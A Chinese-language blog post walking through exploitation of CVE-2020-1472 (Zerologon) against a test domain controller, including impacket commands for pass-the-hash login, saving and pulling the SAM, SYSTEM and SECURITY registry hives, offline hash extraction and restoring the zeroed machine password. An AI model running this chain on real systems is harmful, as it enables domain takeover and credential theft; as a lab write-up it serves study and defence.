zoukankan      html  css  js  c++  java
  • CVE-2020-1472相关杂谈

    CVE-2020-1472是微软八月修复的一个严重的权限提升漏洞(并于昨天2020年9月15日secura发布了相关的漏洞细节,随后相关exp被构造发布),通过Netlogon 远程协议 (MS-NRPC) 建立与域控制器连接安全通道时,存在特权提升的利用点,该漏洞的CVSS分高达10分,攻击者只需要在内网中有一个立足点,就可以远程获取域控的管理员权限。

    漏洞的原理这里不在赘述,secura的pdf分析得很好,简单来说就是Netlogon使用的AES认证算法中的vi向量默认为0,导致攻击者可以绕过认证,同时其设置域控密码的远程接口也使用了该函数,导致可以将域控中保存在AD中的管理员password设置为空,这里主要说一下整个利用的过程,主要来说为以下几步。

    1. 通过漏洞脚本置空域控保存在AD中的密码
    2. 通过secretsdump.py获取域控上的用户hash
    3. 通过该hash使用wmiexec.py登录域控获取一个shell
    4. 通过shell获取本地保存的原hash key
    5. 通过获取的hash key恢复置空的域控密码

    首先配置好一个测试域控,攻击机上需要python3.7以上,同时安装impacket,impacket需要安装最新版(v0.0.22.dev1),该版本中更新了函数NetrServerPasswordSet2,这个函数会在利用中使用,impacket提供了利用脚本需要使用的库,同时其中包含的secretsdump.py/wmiexec.py脚本分别用于密钥的dump还原操作及开启一个shell,这里主要使用以下两个poc,其中利用置空脚本使用dirkjanm提供的(dirkjanm也提供了相关的置空还原脚本但是我没有成功),而恢复密钥则使用risksense提供的版本。

    https://github.com/dirkjanm/CVE-2020-1472

    https://github.com/risksense/zerologon

    首先第一步通过利用脚本将域控保存在AD的密码置空,注意该置空操作是对域控服务器有一定影响的,目前来看就是利用后重启回很慢,secura提到的dns服务受影响目前没有遇到。

     

     用secretsdump.py通过Domain Replication Service (DRS)协议获取域控上相关的hash,其包括administrator hashes。

     

     通过该hash配合wmiexec.py 完成一次pass-the-hash attack,登录该DC获取一个shell。

    wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe ad.test.com/Administrator@192.168.209.129

    登录效果如下,并执行以下命令,以获取本地保存的原置空hash。

    reg save HKLMSYSTEM system.save

    reg save HKLMSAM sam.save

    reg save HKLMSECURITY security.save

    get system.save

    get sam.save

    get security.save

    del /f system.save

    del /f sam.save

    del /f security.save

     

    通过secretsdump解析保存在本地的nt hash,为其中解析后的$MACHINE.ACC:plain_password_hex部分。

    secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

    最后运行risksense的恢复脚本将$MACHINE.ACC:plain_password_hex中的原来nt hash恢复,可以看到此时再用secretsdump.py尝试获取域控上的用户hash已经是失败了。

     

     转载请注明出处

    参考链接:

    https://github.com/dirkjanm/CVE-2020-1472

    https://github.com/risksense/zerologon

    https://github.com/VoidSec/CVE-2020-1472

    https://www.secura.com/blog/zero-logon

  • 相关阅读:
    在CSS中,让页面里的字体变清晰,变细
    前端路由优缺点
    HBuilder和HBuilderX有什么区别?
    HTML5有哪些新特性,移除了那些元素?如何处理HTML5新标签的浏览器兼容问题?如何区分HTML和HTML5?
    js中判断奇数或偶数
    遍历数组的方法
    数组的方法
    免费搜索引擎提交(登录)入口大全
    Vue.js详解
    简述JavaScript模块化编程(二)
  • 原文地址:https://www.cnblogs.com/goabout2/p/13676527.html
Copyright © 2011-2022 走看看